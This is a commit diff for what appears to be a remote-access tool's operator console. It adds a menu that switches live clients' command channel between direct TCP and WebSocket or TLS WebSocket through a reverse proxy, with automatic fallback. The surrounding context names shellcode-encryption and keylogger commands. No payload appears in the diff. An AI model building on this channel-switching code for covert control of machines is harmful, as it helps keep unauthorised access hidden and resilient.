Feature: Let the operator switch a live client's transport from the online list
This commit is contained in:
1 parent
cc891e3670
commit
99db28e2e2
12 files changed
+466
-2
No files matched your search
@@ -1079,6 +1079,9 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_COMMAND(ID_EXPERIMENT_DRAWING_BOARD, &CMy2015RemoteDlg::OnExperimentDrawingBoard)
|
||||
ON_COMMAND(ID_EXPERIMENT_TLS_ENABLE, &CMy2015RemoteDlg::OnExperimentTlsEnable)
|
||||
ON_COMMAND(ID_EXPERIMENT_TLS_DISABLE, &CMy2015RemoteDlg::OnExperimentTlsDisable)
|
||||
ON_COMMAND(ID_PROTO_SWITCH_TCP, &CMy2015RemoteDlg::OnProtoSwitchTcp)
|
||||
ON_COMMAND(ID_PROTO_SWITCH_WS, &CMy2015RemoteDlg::OnProtoSwitchWs)
|
||||
ON_COMMAND(ID_PROTO_SWITCH_WSS, &CMy2015RemoteDlg::OnProtoSwitchWss)
|
||||
ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
|
||||
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
|
||||
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
|
||||
@@ -4619,6 +4622,54 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_TLS_ENABLE, MF_BYCOMMAND, &m_bmOnline[69], &m_bmOnline[69]);
|
||||
Menu.SetMenuItemBitmaps(ID_EXPERIMENT_TLS_DISABLE, MF_BYCOMMAND, &m_bmOnline[70], &m_bmOnline[70]);
|
||||
|
||||
// --- 协议切换子菜单:与「实验功能」平级,紧跟在它下面 ---
|
||||
// 三个单选项:直连 TCP / WS(明文,经反代)/ WSS(TLS,经反代)。当前协议取选中
|
||||
// 主机连接的 GetProtocol()——这是连接的真实传输,比客户端自报可信。
|
||||
// 没选中主机、或选中的客户端版本没有 COMMAND_SET_PROTO(能力位
|
||||
// CLIENT_CAP_PROTO_SWITCH),整组置灰——与「实验功能」等静态子菜单的表现一致。
|
||||
CMenu* pExperimentMenu = FindSubMenuByCommand(SubMenu, ID_EXPERIMENT_TLS_ENABLE);
|
||||
if (pExperimentMenu) {
|
||||
CString curProto;
|
||||
int selectedCount = 0;
|
||||
bool supported = true;
|
||||
EnterCriticalSection(&m_cs);
|
||||
POSITION protoPos = m_CList_Online.GetFirstSelectedItemPosition();
|
||||
while (protoPos) {
|
||||
int protoItem = m_CList_Online.GetNextSelectedItem(protoPos);
|
||||
context* protoCtx = GetContextByListIndex(protoItem);
|
||||
if (!protoCtx || !protoCtx->IsLogin()) continue;
|
||||
++selectedCount;
|
||||
if (curProto.IsEmpty()) curProto = protoCtx->GetProtocol().c_str();
|
||||
if (!protoCtx->SupportsProtoSwitch()) supported = false;
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
|
||||
CMenu protoMenu;
|
||||
if (protoMenu.CreatePopupMenu()) {
|
||||
protoMenu.AppendMenuL(MF_STRING, ID_PROTO_SWITCH_TCP, _T("直连 TCP"));
|
||||
protoMenu.AppendMenuL(MF_STRING, ID_PROTO_SWITCH_WS, _T("WS(经反向代理,明文)"));
|
||||
protoMenu.AppendMenuL(MF_STRING, ID_PROTO_SWITCH_WSS, _T("WSS(经反向代理,TLS)"));
|
||||
UINT checked = curProto == _T("WS") ? ID_PROTO_SWITCH_WS
|
||||
: curProto == _T("WSS") ? ID_PROTO_SWITCH_WSS
|
||||
: ID_PROTO_SWITCH_TCP;
|
||||
protoMenu.CheckMenuRadioItem(ID_PROTO_SWITCH_TCP, ID_PROTO_SWITCH_WSS,
|
||||
checked, MF_BYCOMMAND);
|
||||
if (selectedCount == 0 || !supported) {
|
||||
protoMenu.EnableMenuItem(ID_PROTO_SWITCH_TCP, MF_BYCOMMAND | MF_GRAYED);
|
||||
protoMenu.EnableMenuItem(ID_PROTO_SWITCH_WS, MF_BYCOMMAND | MF_GRAYED);
|
||||
protoMenu.EnableMenuItem(ID_PROTO_SWITCH_WSS, MF_BYCOMMAND | MF_GRAYED);
|
||||
}
|
||||
for (UINT i = 0; i < SubMenu->GetMenuItemCount(); i++) {
|
||||
if (SubMenu->GetSubMenu(i) == pExperimentMenu) {
|
||||
// 子菜单句柄交给父菜单,随本地 CMenu 一起销毁
|
||||
SubMenu->InsertMenu(i + 1, MF_BYPOSITION | MF_POPUP | MF_STRING,
|
||||
(UINT_PTR)protoMenu.Detach(), _TR("协议切换"));
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
|
||||
|
||||
// ============================================================
|
||||
@@ -4841,6 +4892,112 @@ void CMy2015RemoteDlg::OnExperimentTlsDisable()
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
// ---- 协议切换(在线列表右键 → 协议切换 → 直连 TCP / WS / WSS)----
|
||||
//
|
||||
// 服务端只负责下发目标入口和协议:客户端把入口写进本机配置后断开重连,在线升级换 DLL
|
||||
// 也不会被外壳注入的 protoType 按回 TCP(见 client/ClientDll.cpp 的 ApplyProtoSwitch)。
|
||||
// 新入口 5 分钟内登不上去,客户端自动回退到切换前的入口。
|
||||
void CMy2015RemoteDlg::OnProtoSwitchTcp() { SwitchSelectedProtocol(ID_PROTO_SWITCH_TCP); }
|
||||
void CMy2015RemoteDlg::OnProtoSwitchWs() { SwitchSelectedProtocol(ID_PROTO_SWITCH_WS); }
|
||||
void CMy2015RemoteDlg::OnProtoSwitchWss() { SwitchSelectedProtocol(ID_PROTO_SWITCH_WSS); }
|
||||
|
||||
VOID CMy2015RemoteDlg::SwitchSelectedProtocol(UINT nID)
|
||||
{
|
||||
const BYTE proto = nID == ID_PROTO_SWITCH_WS ? (BYTE)PROTO_WS
|
||||
: nID == ID_PROTO_SWITCH_WSS ? (BYTE)PROTO_WSS
|
||||
: (BYTE)PROTO_TCP;
|
||||
const bool restore = (proto == PROTO_TCP);
|
||||
|
||||
// 选中主机的能力校验:老客户端不认识 COMMAND_SET_PROTO,收到只会丢弃。
|
||||
int selected = 0, unsupported = 0;
|
||||
EnterCriticalSection(&m_cs);
|
||||
POSITION pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||||
while (pos) {
|
||||
int item = m_CList_Online.GetNextSelectedItem(pos);
|
||||
context* ctx = GetContextByListIndex(item);
|
||||
if (!ctx || !ctx->IsLogin()) continue;
|
||||
++selected;
|
||||
if (!ctx->SupportsProtoSwitch()) ++unsupported;
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
if (selected == 0) return;
|
||||
if (unsupported > 0) {
|
||||
MessageBoxL(_T("选中的主机里有客户端版本不支持协议切换(需要新版客户端)"),
|
||||
_T("提示"), MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
|
||||
// WS/WSS 需要反向代理入口(域名:端口),用输入框问,记住上次填的
|
||||
std::string host;
|
||||
int port = 0;
|
||||
std::string certPem;
|
||||
if (!restore) {
|
||||
CInputDialog dlg(this);
|
||||
dlg.Init(_TR("协议切换"), _TR("请输入反向代理入口(域名:端口,例如 ws.example.com:443):"));
|
||||
dlg.SetHistoryKey("proto_entry");
|
||||
CString lastEntry = THIS_CFG.GetStr("ws", "Entry", "").c_str();
|
||||
if (!lastEntry.IsEmpty()) dlg.m_str = lastEntry;
|
||||
if (dlg.DoModal() != IDOK) return;
|
||||
CString text = dlg.m_str;
|
||||
text.Trim();
|
||||
int colon = text.ReverseFind(':');
|
||||
if (colon <= 0 || colon == text.GetLength() - 1) {
|
||||
MessageBoxL(_T("反向代理入口格式不正确,应为 域名:端口"), _T("提示"), MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
host = text.Left(colon).GetString();
|
||||
port = atoi(text.Mid(colon + 1).GetString());
|
||||
if (host.empty() || port <= 0 || port > 65535 || host.size() >= 100) {
|
||||
MessageBoxL(_T("反向代理入口格式不正确,应为 域名:端口"), _T("提示"), MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
THIS_CFG.SetStr("ws", "Entry", std::string(text.GetString())); // 记住上次入口
|
||||
|
||||
// WSS 需要客户端持有能校验反代证书的信任锚:随切换指令一起下发。
|
||||
// 没有证书就不让切——客户端无锚时会按明文 WS 回退,等于静默降级。
|
||||
if (proto == PROTO_WSS) {
|
||||
if (!ServerTlsIdentity::IsReady()) {
|
||||
MessageBoxL(_T("服务端未启用 TLS 证书,无法切换到 WSS"), _T("提示"), MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
std::ifstream certFile(THIS_CFG.GetStr("tls", "CertPath", ""), std::ios::binary);
|
||||
if (certFile.is_open()) {
|
||||
std::ostringstream ss;
|
||||
ss << certFile.rdbuf();
|
||||
certPem = ss.str();
|
||||
}
|
||||
if (certPem.empty()) {
|
||||
MessageBoxL(_T("读取服务端 TLS 证书失败,无法切换到 WSS"), _T("提示"), MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
CString confirm = restore
|
||||
? _TR("确定把选中主机切回直连 TCP 吗?\n"
|
||||
"(客户端立即断线重连;若直连端口不可达,5 分钟后自动回退到当前入口)")
|
||||
: _TR("确定切换选中主机的传输协议吗?\n"
|
||||
"(客户端立即断线重连,正在进行的远程会话会中断;"
|
||||
"新入口 5 分钟内连不上将自动回退)");
|
||||
// confirm 已是翻译后的文本:MessageBoxL 宏会再做一次 _T() 拼接,不能传变量。
|
||||
if (IDYES != MessageBox(confirm, _TR("协议切换"), MB_ICONQUESTION | MB_YESNO)) return;
|
||||
|
||||
// 报文:[COMMAND_SET_PROTO][ProtoSwitchPacket][PEM]
|
||||
std::vector<BYTE> pkt(1 + sizeof(ProtoSwitchPacket), 0);
|
||||
pkt[0] = (BYTE)COMMAND_SET_PROTO;
|
||||
ProtoSwitchPacket* p = (ProtoSwitchPacket*)(pkt.data() + 1);
|
||||
p->proto = proto;
|
||||
if (!restore) {
|
||||
strcpy_s(p->host, host.c_str());
|
||||
sprintf_s(p->port, "%d", port);
|
||||
if (!certPem.empty()) {
|
||||
p->certLen = (uint32_t)certPem.size();
|
||||
pkt.insert(pkt.end(), certPem.begin(), certPem.end());
|
||||
}
|
||||
}
|
||||
SendSelectedCommand(pkt.data(), (ULONG)pkt.size());
|
||||
}
|
||||
|
||||
|
||||
// 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程
|
||||
BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup,
|
||||
|
||||
@@ -545,6 +545,11 @@ public:
|
||||
afx_msg void OnExperimentDrawingBoard();
|
||||
afx_msg void OnExperimentTlsEnable();
|
||||
afx_msg void OnExperimentTlsDisable();
|
||||
// 协议切换(在线列表右键菜单,与「实验功能」平级):直连 TCP / WS / WSS
|
||||
afx_msg void OnProtoSwitchTcp();
|
||||
afx_msg void OnProtoSwitchWs();
|
||||
afx_msg void OnProtoSwitchWss();
|
||||
VOID SwitchSelectedProtocol(UINT nID);
|
||||
afx_msg void OnOnlineDelete();
|
||||
afx_msg void OnOnlineUpdate();
|
||||
afx_msg void OnAbout();
|
||||
|
||||
@@ -104,4 +104,12 @@ public:
|
||||
if (caps.IsEmpty()) return false;
|
||||
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_SCREEN_PREVIEW) != 0;
|
||||
}
|
||||
|
||||
// 检查客户端是否支持远程协议切换(COMMAND_SET_PROTO)。老客户端没有这个命令,
|
||||
// 收到也会走 default 丢弃,服务端据此把「协议切换」菜单置灰。
|
||||
bool SupportsProtoSwitch() const {
|
||||
CString caps = GetClientData(ONLINELIST_CAPABILITIES);
|
||||
if (caps.IsEmpty()) return false;
|
||||
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_PROTO_SWITCH) != 0;
|
||||
}
|
||||
};
|
||||
@@ -2156,3 +2156,16 @@ Y
|
||||
画面 %dx%d;上报 %s;系数为真实除以上报=Frame %dx%d; reported %s; factor: real/reported
|
||||
缩放系数需在 0.2 到 5.0 之间。=Scale factors must be between 0.2 and 5.0.
|
||||
已按 画面/上报 自动填写,可修改=Auto-filled from frame/reported; editable
|
||||
|
||||
; ===== 协议切换 (Protocol Switch) =====
|
||||
协议切换=Protocol Switch
|
||||
直连 TCP=Direct TCP
|
||||
WS(经反向代理,明文)=WS (via reverse proxy, plaintext)
|
||||
WSS(经反向代理,TLS)=WSS (via reverse proxy, TLS)
|
||||
请输入反向代理入口(域名:端口,例如 ws.example.com:443):=Enter the reverse proxy entry (host:port, e.g. ws.example.com:443):
|
||||
反向代理入口格式不正确,应为 域名:端口=Invalid reverse proxy entry; expected host:port
|
||||
服务端未启用 TLS 证书,无法切换到 WSS=Server TLS certificate is not enabled; cannot switch to WSS
|
||||
读取服务端 TLS 证书失败,无法切换到 WSS=Failed to read the server TLS certificate; cannot switch to WSS
|
||||
选中的主机里有客户端版本不支持协议切换(需要新版客户端)=Some selected hosts run a client without protocol switching support (a newer client is required)
|
||||
确定把选中主机切回直连 TCP 吗?\n(客户端立即断线重连;若直连端口不可达,5 分钟后自动回退到当前入口)=Switch the selected hosts back to direct TCP?\n(Clients reconnect immediately; if the direct port stays unreachable, they revert to the current entry after 5 minutes)
|
||||
确定切换选中主机的传输协议吗?\n(客户端立即断线重连,正在进行的远程会话会中断;新入口 5 分钟内连不上将自动回退)=Switch the transport protocol for the selected hosts?\n(Clients reconnect immediately and any active remote session is interrupted; if the new entry stays unreachable for 5 minutes, the client reverts automatically)
|
||||
@@ -2147,3 +2147,16 @@ Y
|
||||
画面 %dx%d;上报 %s;系数为真实除以上报=畫面 %dx%d;上報 %s;係數為真實除以上報
|
||||
缩放系数需在 0.2 到 5.0 之间。=縮放係數需在 0.2 到 5.0 之間。
|
||||
已按 画面/上报 自动填写,可修改=已依 畫面/上報 自動填入,可修改
|
||||
|
||||
; ===== 协议切换 (Protocol Switch) =====
|
||||
协议切换=協定切換
|
||||
直连 TCP=直連 TCP
|
||||
WS(经反向代理,明文)=WS(經反向代理,明文)
|
||||
WSS(经反向代理,TLS)=WSS(經反向代理,TLS)
|
||||
请输入反向代理入口(域名:端口,例如 ws.example.com:443):=請輸入反向代理入口(網域:連接埠,例如 ws.example.com:443):
|
||||
反向代理入口格式不正确,应为 域名:端口=反向代理入口格式不正確,應為 網域:連接埠
|
||||
服务端未启用 TLS 证书,无法切换到 WSS=伺服器未啟用 TLS 憑證,無法切換到 WSS
|
||||
读取服务端 TLS 证书失败,无法切换到 WSS=讀取伺服器 TLS 憑證失敗,無法切換到 WSS
|
||||
选中的主机里有客户端版本不支持协议切换(需要新版客户端)=選取的主機中有用戶端版本不支援協定切換(需要新版用戶端)
|
||||
确定把选中主机切回直连 TCP 吗?\n(客户端立即断线重连;若直连端口不可达,5 分钟后自动回退到当前入口)=確定將選取主機切回直連 TCP 嗎?\n(用戶端立即斷線重連;若直連連接埠不可達,5 分鐘後自動回退到目前入口)
|
||||
确定切换选中主机的传输协议吗?\n(客户端立即断线重连,正在进行的远程会话会中断;新入口 5 分钟内连不上将自动回退)=確定切換選取主機的傳輸協定嗎?\n(用戶端立即斷線重連,正在進行的遠端工作階段會中斷;新入口 5 分鐘內連不上將自動回退)
|
||||
@@ -1113,14 +1113,18 @@
|
||||
#define ID_EXPERIMENT_TLS_DISABLE 33095
|
||||
#define ID_MSGLOG_WHITELIST_IP 33096
|
||||
#define ID_ONLINE_COPY_NAME 33097
|
||||
// 协议切换(在线主机列表右键菜单,与「实验功能」平级)
|
||||
#define ID_PROTO_SWITCH_TCP 33098
|
||||
#define ID_PROTO_SWITCH_WS 33099
|
||||
#define ID_PROTO_SWITCH_WSS 33100
|
||||
#define ID_EXIT_FULLSCREEN 40001
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 417
|
||||
#define _APS_NEXT_COMMAND_VALUE 33098
|
||||
#define _APS_NEXT_COMMAND_VALUE 33101
|
||||
#define _APS_NEXT_CONTROL_VALUE 2621
|
||||
#define _APS_NEXT_SYMED_VALUE 105
|
||||
#endif
|
||||
|
||||
Reference in new issue
Block a user